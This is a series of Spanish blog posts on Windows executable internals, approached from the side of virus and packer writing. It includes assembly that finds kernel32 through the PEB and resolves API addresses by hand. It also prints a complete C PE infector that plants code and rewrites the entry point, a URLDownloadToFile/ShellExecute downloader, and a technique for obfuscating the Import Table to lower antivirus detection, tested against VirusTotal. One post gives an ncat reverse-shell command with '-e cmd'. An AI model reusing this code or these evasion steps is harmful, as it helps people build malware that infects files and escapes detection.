 Kernel32Name db 'K',0,'E',0,'R',0,'N',0,'E',0,'L',0,'3',0,'2',0,'.',0,'D',0,'L',0,'L',0
 Kernel32NameLength dw 24
.code
codigo:
 call ObtenerKernel32PEB
 ret

;Obtiene la dirección de memoria donde se encuentra cargada kernel32.dll y la guarda en eax
ObtenerKernel32PEB proc
 mov eax, [fs:30h]    ;PEB
 mov eax, [eax+0Ch]    ;PEB.Ldr, Loader data
 add eax, 14h     ;PEB.Ldr.InMemoryOrderModuleList.Flink, Puntero al primer modulo
NextTable:
 mov eax, [eax]      ;Nos movemos a la siguiente tabla LDR_DATA_TABLE_ENTRY
 mov ecx, 0
 mov esi, offset [Kernel32Name] ;En esi guardamos la dirección del nombre kernel32.dll en unicode
 mov cx, word ptr [eax+1Ch]  ;LDR_DATA_TABLE_ENTRY.FullDllName.Length, longitud de la cadena unicode
 mov edi, [eax+20h]    ;LDR_DATA_TABLE_ENTRY.FullDllName.Buffer, puntero a la cadena unicode con el nombre del módulo
 ;No nos interesa la ruta entera solo los últimos caracteres, el nombre del fichero
 add di, cx      ;Nos situamos al final de la cadena
 sub di, Kernel32NameLength  ;Y restamos el tamaño de la cadena a comparar
 mov cx, Kernel32NameLength
ComparaCadenas:
 mov bl, byte ptr [edi]
 cmp bl, 'a'      ;Si bl >= 'a' convertir a mayusculas
 jb Mayuscula
 sub bl, 20h      ;Pasa de minusculas a mayusculas
Mayuscula:
 cmp bl, byte ptr[esi]
 jnz NextTable     ;Si no es kernel32.dll mirar en la siguiente tabla
 inc edi
 inc esi
 dec cx
 jnz ComparaCadenas
 ;Si llega aquí es que la cadena era kernel32.dll, cogemos el dato que nos interesa del modulo
 mov eax, [eax+10h]    ;eax = LDR_DATA_TABLE_ENTRY.DllBase
 ret
 
ObtenerKernel32PEB endp

end codigo

Es bastante lioso manejar tantas estructuras y entender el código en ensamblador, lo mejor para entenderlo es seguirlo poco a poco con un depurador, ver las estructuras en memoria y muuucha paciencia.

Y así obtendríamos la dirección de memoria donde está cargada la librería kernel32.dll, ahora ya podríamos seguir con el proceso que realizábamos en la otra entrada de buscar las funciones GetProcAddress y LoadLibrary.

Aquí dejo una entrada de LordRNA donde hace lo mismo de forma muy similar Gracias a @The_Swash también por su solución al mismo problema.

Un saludo!

Cargando funciones importadas manualmente

2011-05-22T23:02:00.002+02:00

@The_Swash no para quieto. Acaba de terminar este documento donde explica como rellenar la IAT desde código ensamblador. Muy útil para hacer que un protector de ejecutables que cifre la Import Table y después en ejecución se descifre y rellene la IAT para que el programa funcione correctamente. Dejo a continuación la introducción que ha escrito @The_Swash:

Hola, aquí estoy escribiendo otro artículo que he estado preparando desde el día en el que publiqué el anterior o por lo menos la base.

En este artículo intentaré mostrarles como cargar las funciones que importamos manualmente, es decir no participará ni dependeremos del sistema operativo.
¿Con que fin cargamos las funciones manualmente?
Bueno, en realidad tengo 2 objetivos y son:

Mostrar como Windows carga las direcciones de las funciones (API) que importamos.

Una vez conociendo como funciona, podremos relacionarlo con Empaquetadores y
cifradores de archivos.

Como todo necesitaremos conocer un poco de lo que trataremos claro teniendo algunas nociones sobre el formato portable executable (PE) y posteriormente dejaré un código que se
encarga de hacer esta tarea, en realidad la base de todo esto es el código porque a mano sería
muy complejo.

Muchas gracias por estos documentos!

Ejemplo de uso de TLS Callbacks Funtions

2011-05-15T22:11:00.001+02:00

@The_Swash me ha enviado este documento que ha redactado él explicado el uso de Thread Local Storage Callbacks Functions para ejecutar código antes de la propia ejecución del programa en el Entry Point.

Con esto se puede conseguir que por ejemplo cuando se abra un exe con OllyDbg antes de que pare en el EP se ejecute código que detecte que el ejecutable esta siendo depurado y modifique parte del código del ejecutable para engañar a quien intente realizarle ingeniería inversa. Esto es usado desde hace tiempo en el malware, protectores de ejecutables, packers, etc…

Es posible configurar OllyDbg para que se detenga antes del EntryPoint y evitar que se ejecute este código. Para ello hay que ir a Options>Debugging Options>Make first pause at y seleccionar System breakPoint.

Gracias por el documento @The_Swash!

Usando GetProcAddress y LoadLibrary para localizar APIs 2/2

2011-05-07T19:30:00.002+02:00

En la anterior entrada vimos la necesidad de utilizar las funciones GetModuleHandle y GetProcAddress para invocar a otras funciones de Windows.

No hay que olvidar que el objetivo de todo esto es poder añadir código a un ejecutable ya compilado el que seguramente no use las funciones que nosotros necesitamos.

Lo primero a tener en cuenta es que la función GetModuleHandle en realidad devuelve la dirección de memoria donde está cargada una DLL. La dirección donde se carga Kernel32.dll no siempre es la misma así que necesitamos buscar donde ha cargado Windows la librería.

Una de las formas de hacer esto la encontré en los manuales de programación de Virus de ZeroPad que podéis encontrar en el grupo de google de SectorVirus.

;Obtiene la dirección base de Kernel32
ObtenerKernel32 proc
 mov eax, dword ptr [esp+0Ch];Nos quedamos con la dirección de retorno hacia la funcion createprocess
 and eax, 0FFFFF000h   ;Paginas de 1000h
searchMZ: 
 sub eax, 1000h
 cmp word ptr[eax], "ZM"
 jnz searchMZ
 ret
 
ObtenerKernel32 endp

El código lo que hace es tener en cuenta que el loader de Windows cuando carga un ejecutable con la función CreateProcess se deja en la cima de la pila el valor de retorno a la función CreateProcess. Y como esta función está en Kernel32.dll ya tenemos una dirección de memoria de kernel32, a continuación va restando de 1000h en 1000h hasta encontrar el inicio de la DLL, los caracteres “MZ”. Este método lo he probado en Windows XP e Windows 7. Desconozco si en versiones viejas funciona o no.

Otra opción para encontrar la dirección donde se ha cargado Kernel32.dll es recorrer ciertas estructuras del PEB, pero la cosa ya se complica. En otra entrada se vera un método mas genérico.

Una vez hallado el inicio de kernel32 lo siguiente es localizar la tabla de funciones exportadas, ExportTable, accediendo a la tabla de directorios, PE+78h. Sabiendo donde está la ExportTable, se accede al campo ExportNameTable, ET+20h, donde están los nombres de todas las funciones exportadas y vamos comparando los nombres con la función que buscamos. Una vez localizado recordamos la posición donde lo hemos encontrado y mediante la tabla Export Ordinal Table obtenemos el índice para ya por fin acceder a la tabla Export Address Table que contiene la dirección de la función que tanto a costado conseguir jeje.

Lo he explicado muy resumidamente, en el capítulo 7 de SectorVirus que cuelgo aquí está explicado con todo detalle la estructura de la ExportTable y como recorrerla para encontrar una determinada función.

A continuación dejo la función en ensamblador que hace esto. Necesita saber la dirección de kernel32 hallada anteriormente.

.data
Kernel32Dir dd 0
PEHeader  dd 0
ET    dd 0
PosicionEAT dw 0
Contador dd -1
FuncionBuscada db "GetProcAddress",0
FuncionBuscadaLen dd 0Eh

.code
ObtenerGPA proc
 mov eax, [Kernel32Dir]
 add eax, [eax+3Ch]    ;Obtenermos el inicio del PE
 mov [PEHeader], eax
 add eax, 78h     ;RVA de la export table
 mov eax, [eax]
 add eax, [Kernel32Dir] ;Pasamos de dirección relativa virtual, RVA, a dirección virtual
 mov [ET], eax    ;Guardamos el valor
 add eax, 20h    ;Nos situamos en la ExportNameTable, ET+20h
 mov eax, [eax]
 add eax, [Kernel32Dir]  ;RVA->VA
bucle:       ;Bucle para comprobar si es la función GetProcAddress
 inc [Contador]    ;Para saber en que posicion está la funcion
 mov ebx, [eax]    ;Direcion del nombre de la funcion buscada
 add ebx, [Kernel32Dir]  ;RVA->VA
 mov esi, ebx
 add eax, 4      ;Siguiente nombre
 lea edi, [FuncionBuscada]
 mov ecx, [FuncionBuscadaLen]
 repe cmpsb      ;Compara esi y edi, con una longitud de ecx
 jnz bucle
 ;Se mira en la tabla de ordinales para saber en que posición esta la funcion en la tabla de funciones
 mov ecx, [ET]
 mov ecx, [ecx+24h]    ;EOT
 add ecx, [Kernel32Dir]
 mov eax, [Contador]
 add eax, eax     ;eax=eax*2
 add ecx, eax
 mov ax, word ptr [ecx]
 mov [PosicionEAT], ax
 ;Por ultimo se accede a la posicion de la EAT para hallar la direccion de la funcion
 mov eax, [ET]
 mov eax, [eax+1Ch]
 add eax, [Kernel32Dir]
 mov ebx, [Contador]
 rol ebx, 2      ;Contador*4
 add eax, ebx
 mov eax, [eax]
 add eax, [Kernel32Dir]  ;Retornamos en eax la dirección de la función
 ret

ObtenerGPA endp

El código está mucho mejor documentado en el capítulo de SectorVirus que he mencionado antes. Con esto ya podríamos llamar a GetProcAddress y obtener las direcciones de las funciones que nos hagan falta. Un saludo!

Usando GetProcAddress y LoadLibrary para localizar APIs 1/2

2011-05-01T14:44:00.002+02:00

En las dos entradas que escribí sobre añadir código portable a un ejecutable:
http://el-blog-de-thor.blogspot.com/2011/02/anadir-codigo-portable-un-ejecutable-12.html
http://el-blog-de-thor.blogspot.com/2011/03/anadir-codigo-portable-un-ejecutable-22.html

Hice trampas o mas bien me facilite mucho la situación. Ya que me servía de que la API que iba a usar el código ya la importaba el ejecutable (MessageBoxW). Pero no siempre podemos confiar en tener esa suerte.

Así que lo suyo es primero encontrar la dirección de la API que necesitamos y después usarla. Para tal tarea se utiliza la API GetProcAddress, que pasándole el handle de una dll (la dirección de memoria donde empieza la dll) y el nombre de la función buscada nos devuelve la dirección de la misma. Para obtener el handle de una DLL que ya tiene cargada el ejecutable se usa la funcion GetModuleHandle. Hay que tener en cuenta que el cargador de Windows cuando arranca un programa siempre carga las dlls Kernel32.dll y NtDll.dll aunque el programa no necesite ninguna API de las mismas.

Esto se puede ver compilando un simple programa en ensamblador que solo tiene una instrucción nop y abriendolo con OllyDbg:

.386
.model flat, stdcall
option casemap:none

.code
codigo:
nop
end codigo

Así que si la API que necesitamos está en las DLLs Kernel32.dll o NtDll.dll nos vale con usar la función GetModuleHandle y pasarle ese valor a GetProcAddress junto al nombre de la API buscada:

HMODULE h = GetModuleHandle("kernel32.dll");
GetProcAddress(h, "ExitProcess");

Si no deberemos usar la API LoadLibrary para cargar una DLL en la memoria del proceso. Por ejemplo para los anteriores entradas necesitábamos usar la API MessageBoxA. Mirando en MSDN sabemos que se encuentra en la DLL User32.dll.

HMODULE h = LoadLibrary("User32.dll");
GetProcAddress(h, "MessageBoxA");

La función LoadLibrary a su vez la podemos localizar mediante el uso de GetProcAddress:

HMODULE h = GetModuleHandle("kernel32.dll");
LoadLibraryF = (void*)GetProcAddress(h, "LoadLibrary");
h = LoadLibraryF("User32.dll");
GetProcAddress(h, "MessageBoxA");

Vemos que las 2 funciones imprescindibles para cargar el resto son GetModuleHandle y GetProcAddress.

Pero fijaos en un problema, si un programa no importa las funciones GetModuleHandle y GetProcAddress no sabemos en que dirección están y por lo tanto no podemos encontrar otras APIs. Nos encontramos en un bucle, para saber la dirección de GetProcAddress necesitamos utilizar GetProcAddress y es lo que no sabemos.

En la siguiente entrada veremos como se soluciona esto.

Cómo habilitar escritorio remoto a ciegas

2011-04-19T02:30:00.001+02:00

La tarjeta gráfica de mi portátil ha muerto. Ya mostraba algunos síntomas, pantallazos negro, fallos del driver, rayas, todo debido al calor y mira que limpie el ventilador, pero ya era demasiado tarde. De modo que tengo un portátil funcionando pero en el que no veo nada de lo que pasa.

Por suerte tengo un netbook para ver pelis y tal… Está bien pero a la hora de ejecutar máquinas virtuales y demás va un poco lento.

Así que pensé en usar el netbook como “equipo tonto” que no tiene nada instalado y que se conecta por escritorio remoto al portátil bueno.

El problema es que cuando la tarjeta murió no tenía habilitado el escritorio remoto. Así que tenía que activarlo a ciegas. La solución que se me ocurrió fue ver que proceso seguía en un Windows 7 para habilitar el escritorio remoto usando solamente el teclado y repetirlo sin confundirme en el portátil sin gráfica.

La combinación mágica es la siguiente:
Pulsar tecla de windows, escribir “permitir el” (si está en español), esperar unos segundos, pulsar enter, pulsar 3 veces tab, tecla abajo, tab, enter, pulsar 5 veces tab y por último 2 veces enter.

Así habremos habilitado el escritorio remoto en nuestro equipo. Siempre y cuando no se tenga firewall activado.

Otra opción hubiese sido sacar el disco duro, conectarlo a otro equipo, meter en una carpeta ncat, iniciar el equipo y a ciegas ejecutar cmd.exe y el comando necesario para que ncat nos de una shell a otro equipo: ncat x.x.x.x port –e cmd. Y desde la consola habilitar el escritorio remoto modificando este valor del registro usando el comando reg:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections: 0

O instalar alguna herramienta de administración remota, siempre que no necesite ningún tipo de interacción gráfica para la instalación (casi todas). O sino ya instalar un troyano que permita administrar el escritorio.

Tendré que acostumbrarme a este mini teclado…

Saludos!

Con la IT ofuscada MalwareAnalyzer falla

2011-04-14T12:42:00.001+02:00

Mirando los RSS he llegado a este post de hacktimes, Análisis de Malware – MalwareAnalyzer, no conocía MalwareAnalyzer, parece bastante útil. Así que probe con el Downloader que comente en la anterior entrada con la IT ofuscada y boom, ha petado:

Ups!

Ofuscación de la IT, consecuencias

2011-04-13T18:19:00.003+02:00

Ya adelanto que parece que “ofuscar” la IT no es demasiado útil para saltarse las heurísticas, mi gozo en un pozo :( Pero sigue siendo útil para confundir a algunos antivirus o herramientas(LordPE).

Para realizar las pruebas necesitamos un programa que supongamos que vaya a ser detectado por heurística, el mas típico y sencillo es un Downloader que haga uso primero de la API URLDownloadToFile para descargar un fichero desde una página web y después de la API ShellExecute para ejecutar el fichero descargado.

Supongo que un antivirus al ver que las 2 únicas API que se usan son esas dos tan sospechosas detectará el fichero como posible Downloader.

El código en ensamblador es sencillito:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include urlmon.inc
include shell32.inc

includelib kernel32.lib
includelib urlmon.lib
includelib shell32.lib

.data

urlcalc  db "http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1", 0 ;Calculadora de windwos
nombre   db "calc.exe", 0
action  db "open", 0

.code

codigo:

push 0
push 0
push offset nombre
push  offset urlcalc
push 0
call  URLDownloadToFile

push SW_SHOW
push  0
push  0
push  offset nombre
push  offset action
push 0
call ShellExecute
 
push 0
call  ExitProcess

end codigo

El código descarga la calculadora desde http://sites.google.com/site/xyzthor/calc/calc.exi?attredirects=0&d=1 y la ejecuta.

Os subo aquí el ejecutable compilado.

Lo subimos a VirusTotal y lo detectan 27/42 AVs. Algunos nombres son muy descriptivos: Heuristic.BehavesLike.Win32.Downloader.J

Ahora aplicamos la técnica de ofuscar la IT. Esta vez para hacerlo mas sencillo he añadido 2 secciones y he puesto la IT en medio. Subo el ejecutable con la IT ofuscada por si queréis echarle un ojo.

Lo volvemos a subir a VT y lo detectan 20/42. Algunos AVs no detectan esta muestra pero si la anterior y viceversa. Así que no es un a prueba muy concluyente, además no estoy seguro que lo detecten por heurística habría que probar los antivirus con la heurística desactivada y ver si detectan el ejecutable o no. A ver si sale pronto a la luz KIMS 2.0 y puedo realizar algunas pruebas mas.

Algo curioso es que Microsoft Security Essentials si detecta el downloader original:

Pero no detecta el ejecutable con la IT ofuscada, ¿no será capaz de leerla? ¿O influirán otras cosas?

Un saludo!

Ofuscación de la Import Table

2011-04-11T15:06:00.002+02:00

Leyendo y probando cosas sobre la Import Table, IT, di con una forma de ofuscar o hacer mas difícil de leer la IT.

La idea es poner la Import Table entre 2 secciones, al final de una y comienzo de la siguiente. Estas secciones en disco están separadas, pero una vez cargadas en memoria estarán juntas de modo que el cargador de Windows podrá leer correctamente la IT pero las herramientas que leen la IT en disco fallaran, como LordPE.

Veámoslo mas detalladamente.

Para las pruebas he compilado este programa en ensamblador(MASM) que solo muestra un MessageBox y finaliza:

.386
.model flat, stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc

includelib user32.lib
includelib kernel32.lib

.data

mensaje  db "Primer programa de prueba", 0
titulo   db "Sector Virus", 0

.code

codigo:

push MB_OK + MB_ICONINFORMATION
push  offset titulo
push  offset mensaje
push  0
call  MessageBox

push  0
call  ExitProcess

end codigo

Cuelgo aquí el ejecutable.

Podemos ver con Olly que el ejecutable tiene 3 secciones y que la IT está en la segunda sección, rdata:

Veamos un resumen de las secciones con los valores que nos interesan:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 200h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 800h SizeOfRawData 200h

Otro dato importante es que la IT empieza en la RVA 2010h

Traducido a dirección física es la 610h.

He realizado un esquema de como estaría el ejecutable en disco y en memoria para que se entienda mas fácilmente:

Nuestro objetivo es poner la IT al final de .rdata y comienzo de .data. Que estas secciones en disco estén separadas pero que en memoria estén juntas.

Pero como vemos en el esquema en memoria la seccion .rdata y .data no están juntas, .rdata acaba en 2200h y .data empieza en 3000h. El valor SectionAlignment es 1000h así que las secciones tienen que empezar en valores múltiplos de 1000h por lo que no podemos hacer que la sección .data virutalmente empiece en 2200h, donde acaba .rdata. La única opción que nos queda es ampliar el tamaño de .rdata para que ocupe todo el espacio en memoria, desde 2000h hasta 3000h.

Para ello debemos añadir D00h 00’s al final de .rdata para hacer que el tamaño de está sea 1000h. Hay que corregir los valores de las secciones tmb:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 1000h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 1600h SizeOfRawData 200h

Ahora ya podemos probar a mover la IT de sitio y ponerla entre las secciones .rdata y .data:

La IT ahora estará en disco en la posición 15FCh, que corresponde a la sección .rdata, pero finaliza en la sección .data. En memoria la IT estará en la posición 2FFCh, así que corregimos ese valor en la cabecera PE:

Probamos el ejecutable y vemos que funciona correctamente. Ya lo último que nos queda es separar las secciones .rdata y .data en disco. Esto se hace simplemente insertando 00’s y corrigiendo los valores de las secciones. El esquema quedará así:

Y las secciones:

.text: VirtualAddress 1000h VirtualSize 26h PointerToRawData 400h SizeOfRawData 200h .rdata VirtualAddress 2000h VirtualSize 92h PointerToRawData 600h SizeOfRawData 1000h

.data VirtualAddress 3000h VirtualSize 27h PointerToRawData 1800h SizeOfRawData 200h

El espacio entre 1600h y 1800h contiene 00’s y no será mapeado en memoria cuando se cargue el ejecutable ya que no corresponde a ninguna sección.

Subo aquí el ejecutable modificado.

De este modo, como vemos en el esquema, la IT en memoria está junta pero en disco separada de modo que LordPE se confunde:

No es la única herramienta que se confunde de hecho supongo que casi todas las herramientas que leen la IT en disco se confundirán. Por ejemplo en VirusTotal en la parte de información de un ejecutable nos muestra las funciones importadas. Con el ejecutable original podemos ver las 2 funciones que utiliza el exe:

Pero con la IT ofuscada no es capaz de leerla correctamente:

Las heurísticas de los antivirus una de las cosas que hacen es fijarse en la IT ver que funciones usa el ejecutable y dependiendo de lo peligrosas que sean identificar un exe como un posible malware. ¿Será posible usando esta técnica engañar a la heurística de un AV?

En la siguiente entrada hacemos unas pruebas. Saludos! PD: Hay un detalle que me he saltado para hacer la explicación mas sencilla de seguir. En la sección data están las cadenas que se usaran en el MessageBox, nosotros ahí hemos puesto parte de la IT de modo que es necesario desplazarlas de lugar y corregir el código.

Simple pero rara forma de infectar un PE

2011-04-10T22:40:00.008+02:00

El otro día gracias a Twitter (lo siento, no logro encontrar quien lo twitteo) dí con esta entrada del blog de Marco Ramilli donde explica como infectar un ejecutable de forma sencilla. Os dejo aquí el código todo junto:

#include <stdio.h>
#include <windows.h>

DWORD GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
 while(NumberOfSections > 0)
 {
  if( !strcmpi((char*)pSectionHeader->Name , ".text"))
  {
   return pSectionHeader->PointerToRawData;
  }
 }
 /* we did not find .text section */
 return 0;
}

int main(int argc , char *argv[])
{
 HANDLE hFile;
 HANDLE hMap;
 char *MappedFile = 0;
 DWORD FileSize; /* file size */
 DWORD delta;
 DWORD SectionOffset; /* .text section offset*/
 DWORD func_addr;
 IMAGE_DOS_HEADER *pDosHeader;
 IMAGE_NT_HEADERS *pNtHeader;
 IMAGE_SECTION_HEADER *pSecHeader;

 //The shell code to be injected !
 char code[] = "\x6A\x00" /*push 0 */
   "\xB8\x00\x00\x00\x00" /*mov eax , func_addr (address will be inserted automaticly)*/
   "\xFF\xD0"; /*call eax */

 if(argc != 2)
 {
  printf("parameters : %s [filename] \n", argv[0]);
  printf("simple pe infector by _antony \n");
  return 0;
 }
 printf("target: [%s] \n" , argv[1]);
 
 //Opening the passed file:
 hFile = CreateFile(argv[1] ,
      GENERIC_WRITE | GENERIC_READ ,
      0 ,
      0 ,
      OPEN_EXISTING ,
      FILE_ATTRIBUTE_NORMAL ,
      0);
 if(hFile == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't open File! Error code : %d" , GetLastError());
  return -1;
 }

 //Getting file size:
 FileSize = GetFileSize(hFile , 0 );
 printf("[File Size ]: %d \n", FileSize);
 /* mapping file */
 hMap = CreateFileMapping(hFile ,
        0 ,
        PAGE_READWRITE ,
        0 ,
        FileSize ,
        0);
 if(hMap == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
  CloseHandle(hFile);
  return -1;
 }
 MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
 if(MappedFile == NULL)
 {
  printf("[Error]: Can't map file! Error code %d\n", GetLastError());
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 //Mapping Headers:
 pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
 pNtHeader = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
 pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);

 SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
 if(SectionOffset == 0)
 {
  printf("[Error]: Can't find .text section!\n");
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 delta = SectionOffset - sizeof(code);
 int i;
 BYTE check;
 printf("scanning...\n");

 //looking for free space (0x/00), if enough free space is found then copy shellcode.
 for(i=0 ; i<sizeof(code) ; i++)
 {
  check = *((BYTE*)MappedFile + delta + i);
  printf("%X \t", check);
  if(check != 0)
  {
   printf("There is some data...\n");
   CloseHandle(hFile);
   CloseHandle(hMap);
   UnmapViewOfFile(MappedFile);
   return -1;
  }
 }
 printf("Space if free , infecting File...\n");

 //Inserting function addresses dynamically into the shellcode.

  func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
  for(i=0 ; i < sizeof(code) ; i++ )
  {
   if( *(DWORD*)&code[i] == 0x00000B8)
   {
    *(DWORD*)(code+i+1)= func_addr;
   }
  }
 
  //Setting up new OEP.

  printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
  memcpy(MappedFile+delta , code , sizeof(code));

  //since delta is PointerToRawData - sizeof(code), it could be added as new OEP.
  pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
  printf("File infected!\n");
  printf("New Entry Point: %08X \n" , delta);

  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return 0;
}

Viendo el código me doy cuenta que en la anterior entrada yo leía el fichero de una forma muy chapucera, reservando memoria con malloc y después leyéndolo entero de golpe, ¿que el fichero ocupa 100 MB? pues 100 MB de memoria que se ocupan… En esté código lo hace de la forma mas correcta, utilizando un fichero proyectado en memoria mediante las APIs CreateFileMapping y MappedFile. Aquí está explicado de lujo que son y para que sirven los archivos proyectados en memoria:
Los rincones del API Win32: Archivos proyectados en memoria
De ahora en adelante lo tendré en cuenta jeje.

Una cosa extraña es que a primera vista, tras leer el código y los comentarios que hizo Marco por encima, pensé que el código buscaba la sección .text, buscaba espacio libre en ella suficiente para escribir el injerto, lo escribía y cambiaba el EP. Pero no, en realidad busca la sección .text y justo antes de que está empiece, si no hay nada ahí, escribe el injerto. Y cómo habitualmente la sección .text es la primera y antes de ella está la cabecera PE, esto implica que el injerto es escrito en la cabecera PE, WTF! Yo pensaba que ahí no se podía escribir código ya que no tendría permisos de ejecución, pero parece ser que no es así.

Veamos un notepad.exe que me ha “infectado” este código. Lo primero vemos que las cabeceras ocupan 400h bytes.

La sección .text comienza justo al final de la cabecera, en 400h:

De modo que en el código que he puesto arriba la función GetTextSectionOffset devuelve 400h, después realiza este calculo:

delta = SectionOffset - sizeof(code);

Sustituyendo:

delta = 400h - Ah;
delta = 3F6h

Y en esa posición (que ya no forma parte de la sección .text, es la cabecera)busca con el bucle for si todos los bytes valen 0, en el caso de mi notepad esto es así, de modo que escribe ahí el injerto (en azul).

El injerto invoca la funcion ExitProcess y finaliza el proceso.

Veo que para lo que hace este código no es necesario buscar la sección .text, simplemente podría mirar el tamaño de las cabeceras situarse al final y ver si hay espacio libre ahí para poner el código, al final de la cabecera PE. Así sería aun mas sencillo y funcionaría con ejecutables en los que la sección de código se llama .code, o .UPX por ejemplo.

Lo mas curioso de todo es que se pueda ejecutar código que esté en la cabecera PE, seguro que es útil.

Saludos!

Recorrer la Import Table en C

2011-03-22T01:39:00.009+01:00

En el post del otro día mostré una función de C para transformar de una dirección RVA a un offset del fichero en disco. Está función nos será útil para el objetivo de hoy: recorrer la Import Table de un ejecutable.

Ya lo hicimos manualmente es estos dos post: http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-12.html http://el-blog-de-thor.blogspot.com/2011/03/localizar-direcciones-en-la-iat-mano-22.html

Resumiendo:

Debemos buscar la tabla de importaciones en el directorio de datos (PE+0x80), transformarla de RVA a Offset.
Al inicio de la IT leeremos las distintas estructuras “IMAGE IMPORT DESCRIPTOR” hasta encontrar una vacía y en cada una de ellas:
1. Leemos el nombre de la dll a la que corresponde
2. Recorremos la lista de punteros u ordinales apuntados por OriginalFirstThunk o si esta estuviera vacía la de FirstThunk.
3. Si es un ordinal, empieza por 0x8…, le mostramos
4. Si no, es una RVA de una estructura “IMAGE_IMPORT_BY_NAME” que contiene el nombre de la función importada, mostramos dicho valor.

Os dejo el código:

#include <stdio.h>
#include <windows.h>

DWORD RVAToOffset(byte *buf, DWORD RVA);

int main(int argc, char *argv[])
{
if(argc != 2)
{
printf("Pasale un parametro !");
return EXIT_FAILURE;
}
HANDLE fichero = CreateFile((LPCTSTR)argv[1], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(fichero == INVALID_HANDLE_VALUE)
{
printf("Error abriendo el fichero");
return EXIT_FAILURE;
}
printf("IAT de %s\n", argv[1]);
DWORD size = GetFileSize(fichero, NULL);
byte *buf = (byte *)malloc(size);
DWORD bytesleidos;
ReadFile(fichero, buf, size, &bytesleidos, NULL);
CloseHandle(fichero);
//Si se consigue leer en el buffer todo el fichero continuar
if(size == bytesleidos)
{
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
if(pIDH->e_magic == IMAGE_DOS_SIGNATURE) //MZ
{
 PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&buf[pIDH->e_lfanew];
 //Dirección de la Import Table
 DWORD ITdir = pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
 //El primer Image Import Descriptor está al principio de la IT
 PIMAGE_IMPORT_DESCRIPTOR pIID = (PIMAGE_IMPORT_DESCRIPTOR)&buf[RVAToOffset(buf, ITdir)];
 while(pIID->Name != 0)
 {
  printf("%s:\n", &buf[RVAToOffset(buf, pIID->Name)]);
  PIMAGE_THUNK_DATA pITD;
  //Se lee la INT (Import Name Table), si existe, sino la IAT
  if(pIID->OriginalFirstThunk != 0)  //En los exe's de borland OFT es 0, o no existe INT
   pITD = (PIMAGE_THUNK_DATA)&buf[RVAToOffset(buf, pIID->OriginalFirstThunk)];
  else
   pITD = (PIMAGE_THUNK_DATA)&buf[RVAToOffset(buf, pIID->FirstThunk)];
  while(pITD->u1.AddressOfData != NULL){
   //Por ordinal o por nombre?
   if((DWORD)pITD->u1.AddressOfData &  IMAGE_ORDINAL_FLAG32) //0x80000000
    printf("  Ord: %d\n", (DWORD)pITD->u1.AddressOfData & 0x7FFFFFFF);
   else{
    PIMAGE_IMPORT_BY_NAME pIIBN = (PIMAGE_IMPORT_BY_NAME)&buf[RVAToOffset(buf, pITD->u1.AddressOfData)];
    printf("  %s\n", pIIBN->Name);
   }
   pITD++;
  }
  pIID++;
 }
}
}
free(buf);
return EXIT_SUCCESS;
}

//Dada una dirección relativa virtual, RVA, la transforma a una posición exacta en el fichero
DWORD RVAToOffset(byte *buf, DWORD RVA)
{
//Se lee la cabecera DOS que está al principio
PIMAGE_DOS_HEADER pIDH = (PIMAGE_DOS_HEADER)buf;
//Se lee la cabecera PE, el campo e_lfanew nos indica donde se encuentra dentro del fichero
PIMAGE_NT_HEADERS pINH = (PIMAGE_NT_HEADERS)&buf[pIDH->e_lfanew];
//Buscamos a que sección pertenece la RVA para hacer los calculos correctos
for(DWORD i = 0; i < pINH->FileHeader.NumberOfSections; i++){
//Nos vamos desplazando por las secciones
PIMAGE_SECTION_HEADER pISH = (PIMAGE_SECTION_HEADER)&buf[pIDH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + i*sizeof(IMAGE_SECTION_HEADER)];
//Si la RVA está dentro del rango
if (pISH->VirtualAddress <= RVA && pISH->VirtualAddress + pISH->SizeOfRawData > RVA){
 //Se realizan los cálculos
 return RVA - pISH->VirtualAddress + pISH->PointerToRawData;
}
}
//Si no encuentra en ninguna sección retornamos -1
return -1;
}

Se admiten críticas al código, un saludo!

Detección de información extra en ejecutables por Th3 Sw4sh

2011-03-15T17:35:00.001+01:00

Mi amigo Th3 Sw4sh ha realizado un documento donde explica que es y para que se usa la información extra en ejecutables.

A continuación copio la introducción del documento:

